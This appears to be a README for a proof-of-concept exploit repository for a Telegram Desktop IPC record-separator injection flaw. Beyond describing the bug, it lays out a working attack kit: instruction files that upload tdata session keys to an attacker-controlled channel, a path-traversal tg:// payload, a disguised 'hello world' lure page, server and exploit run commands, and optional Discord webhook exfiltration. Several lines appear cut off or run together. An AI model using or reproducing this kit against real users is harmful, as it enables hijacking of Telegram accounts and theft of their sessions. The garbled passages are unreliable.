Proof-of-concept exploit for CVE-2026-107181: IPC record-separator injection in Telegram Desktop <7.2.9 that exfiltrates tdata session keys via crafted tg:// interpret: links.
IPC record-separator injection in Telegram Desktop before 7.2.9. One clicked https link becomes interpret: and the running client uploads local files (including tdata session keys) to a chat the attacker controls.
| CVE | CVE-2026-107181 |
| Affected | Telegram Desktop < 7.2.9 (confirmed Windows 7.2.8 / 6.9.3) |
| Fixed | 7.2.9 |
| Type | CWE-143 (record delimiter) + missing auth on interpret: |
| CVSS 3.1 | 8.1 High (AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N) |
Pages site (this repo): hello world only. No dump, no keys, no host creds.
Telegram Desktop registers tg://. If a second Telegram.exe starts while one is already running, it does not become a second client. It connects to a local single-instance socket and ships the URL as text:
OPEN:<url>;
sandbox.cpp concatenates that record with a raw semicolon and never escapes the value. The live instance splits the buffer on ;. A URL that contains a semicolon is therefore more than one record:
tg://x?a=1;OPEN:interpret:instructions.txt
Second process serializes:
OPEN:tg://x?a=1;OPEN:interpret:instructions.txt;
First process parses two OPEN: records. The dummy tg://x?a=1 is junk. interpret: is not.
interpret: is a leftover from Telegram’s own release publisher (Telegram/build/updates.py). Support::InterpretSendPath reads a small text file and sends file: to channel: with no prompt and no check of who asked:
channel: 2001234567
file: tdata/key_datas
caption: key_datas
from: is optional. Leave it out and the account-id check never runs. The destination must be a channel or megagroup (peerFromChannel). A basic group or a broadcast the victim cannot post to will fail.
The instruction file has to already be on disk at a path the client can open. Default auto-download in a group drops attachments here:
C:\Users\<user>\Downloads\Telegram Desktop\<name>
Telegram’s cwd on a stock Windows install is %APPDATA%\Telegram Desktop. Relative interpret: paths resolve from there, so the user name is not needed:
interpret:../../../Downloads/Telegram%20Desktop/tdi_aaa_1.txt
One instruction file sends one file: (last file: line wins). Stack more OPEN:interpret: records in the same link.
tdata layout is the same on every stock install (D877F783D5D3EF8C is md5 of "data"):
tdata/key_datas salt + wrapped DEK
tdata/D877F783D5D3EF8Cs MTProto auth, wrapped with the DEK
tdata/D877F783D5D3EF8C/maps account index
No local passcode ⇒ KEK is derived from the empty string plus the salt in key_datas. Those three files are a logged-in session.
In-chat tg:// is handled in-process and never hits the socket. The lure has to be an https page in the system browser that then navigates to the crafted tg://. This repo’s generated lure is:
Telegram CVE-2026-107181
Hey hello world.
plus location.replace(tg://...).
historyLoaded (they opened it).InterpretSendPath uses QFile relative to cwd. Portable builds / custom -workdir change the ../../../Downloads/... math.interpret: entirely and percent-encodes the IPC separator.Shipped in 7.2.9. Changelog only mentioned a rendering fix.
The public page is hello world. The server injects the tg:// payload behind it.
| File | What |
|---|---|
server.py | HTTP lure: / hello world + JS bounce, /r 302, /payload raw URL |
exploit.py | Builds LF instruction files, writes out/index.html, can serve + watch |
discord_exfil.py | Optional: POST loot to DISCORD_WEBHOOK (no URL in the repo) |
nginx.example.conf | Reverse-proxy example |
.env.example | CHANNEL_ID, PUBLIC_URL, DISCORD_WEBHOOK placeholders |
index.html | GitHub Pages: hello world only |
copy .env.example .env
# edit CHANNEL_ID (and DISCORD_WEBHOOK if you want Discord)
python server.py --channel 2001234567 --host 0.0.0.0 --port 8080
python exploit.py --channel 2001234567 --watch
Secrets stay out of git: webhook, host passwords, tdata, SSH keys. Put those in .env / webhook.url (gitignored).
out/tdi_*.txt files as attachments.Downloads\Telegram Desktop\ on the target.tdata/key_datas, D877F783D5D3EF8Cs, and maps into that supergroup.Instruction file format (LF only, no BOM):
channel: <mtproto channel id>
file: tdata/key_datas
caption: key_datas
Payload shape:
tg://x?a=1;OPEN:interpret:../../../Downloads/Telegram%20Desktop/tdi_aaa_1.txt;OPEN:interpret:../../../Downloads/Telegram%20Desktop/tdi_aaa_2.txt;OPEN:interpret:../../../Downloads/Telegram%20Desktop/tdi_aaa_3.txt